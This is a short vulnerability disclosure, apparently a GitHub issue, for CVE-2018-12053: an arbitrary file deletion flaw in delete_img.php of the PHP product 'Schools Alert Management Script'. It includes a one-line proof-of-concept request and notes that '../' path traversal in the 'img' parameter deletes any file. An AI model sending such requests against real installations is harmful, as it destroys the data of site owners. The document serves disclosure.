unh3x / just4cve

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[CVE-2018-12053] Schools Alert Management Script - Arbitrary File Deletion #6

Open unh3x opened 6 years ago

unh3x commented 6 years ago

================= Schools Alert Management Script - Arbitrary File Deletion

Date: 07.06.2018 Vendor Homepage: https://www.phpscriptsmall.com/ Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/ Category: Web Application Exploit Author: xiaotian.wang From DBAppSecurity CVE: CVE-2018-12053

================= Vulnerable cgi:

delete_img.php

================= Proof of Concept:

/delete_img.php?img=./uploads/school_logos/1528360893_x1.php

notice: There is a risk of file deletion,you'd better test it combined with the furthur file upload vulnerability.

Attackers can delete any file through parameter 'img' with '../' .